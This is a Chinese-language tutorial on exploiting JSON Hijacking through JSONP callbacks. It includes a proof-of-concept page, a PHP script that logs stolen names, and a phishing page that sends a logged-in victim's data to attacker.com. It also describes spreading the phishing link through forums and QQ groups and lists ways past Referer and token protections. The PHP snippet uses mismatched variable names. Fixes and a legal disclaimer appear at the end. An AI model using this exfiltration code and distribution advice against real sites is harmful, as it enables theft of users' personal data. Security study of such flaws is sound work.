小学生都会挖掘的JSON Hijacking实战利用
字数 1019 2025-08-18 11:37:53
JSON Hijacking漏洞挖掘与利用实战教学文档
1. 漏洞概述
JSON Hijacking(JSON劫持)是一种客户端安全漏洞,攻击者能够窃取用户敏感数据。该漏洞与CSRF类似但原理不同,主要针对返回JSON数据的接口进行攻击。
2. 漏洞挖掘方法
2.1 寻找潜在目标
- 使用Burp Suite代理工具的History功能
- 过滤返回JSON格式数据的接口
- 重点关注包含敏感信息的接口(如用户ID、用户名、手机号等)
2.2 识别特征
- 接口返回JSONP格式数据(带回调函数)
- 返回数据中包含用户敏感信息
- 接口缺乏有效的防护措施
3. 漏洞验证(POC)
3.1 基本POC示例
假设目标接口返回数据格式:
txf({"data":{"name":"唐晓峰"}});
构造攻击页面:
<html>
<head>
<script>
function txf(a){
alert(a.data.name);
}
</script>
<script src="http://victim.com/User/getUserInfo?callback=txf"></script>
</body>
</html>
3.2 验证结果
当受害者访问该页面时,会弹窗显示其用户名,证明漏洞存在。
4. 漏洞利用实战
4.1 搭建攻击环境
- 准备Web服务器(如使用phpstudy)
- 创建接收数据的服务端脚本(json.php):
<?php
$nickname=$_GET['name'];
$fp = fopen('info.txt','a');
$flag = fwrite($fp, "名字: ".$name."\r\n");
?>
4.2 构造钓鱼页面(钓鱼.html)
<head>
<title>txf</title>
<script>
var xmlhttp;
function txf(a) {
xmlhttp=new XMLHttpRequest()
var x="http://attacker.com/json.php?name="+a.data.name;
xmlhttp.open("GET", x, true);
xmlhttp.send();
}
</script>
<script src="http://victim.com/api?callback=txf"></script>
</head>
<body>
<textarea>钓鱼啦,傻瓜</textarea>
</body>
</html>
4.3 攻击流程
- 将钓鱼链接(http://attacker.com/钓鱼.html)发送给目标用户
- 通过论坛、QQ群、贴吧等渠道传播
- 当已登录目标网站的用户访问该链接时,其敏感数据会被发送到攻击者服务器
5. 漏洞修复与绕过
5.1 常见修复方案
-
Referer白名单验证
- 只允许特定域名的请求
- 绕过方法:
- 子域名绕过
- 文件名绕过
- 空Referer绕过
-
增加Token认证
- 使用CSRF Token验证
- 绕过方法:
- 如果Token简单(如纯数字),可尝试遍历
- 复杂或加密Token难以绕过
-
禁用接口
- 彻底禁用存在风险的接口
- 无法绕过
5.2 最佳修复实践
- 使用标准JSON格式而非JSONP
- 添加CSRF Token
- 验证HTTP头部(如Origin/X-Requested-With)
- 设置Content-Type为application/json
- 避免敏感数据通过GET请求返回
6. 漏洞危害评估
- 影响范围:已登录目标网站的用户
- 危害程度:可窃取用户敏感信息
- 利用难度:中等,需要用户交互
7. 总结
JSON Hijacking是一种有效的客户端数据窃取技术,通过精心构造的钓鱼页面,攻击者可以获取用户的敏感信息。防御措施应重点关注接口的安全设计和访问控制。
注意:本文仅用于安全研究和教育目的,未经授权对他人系统进行测试是违法行为。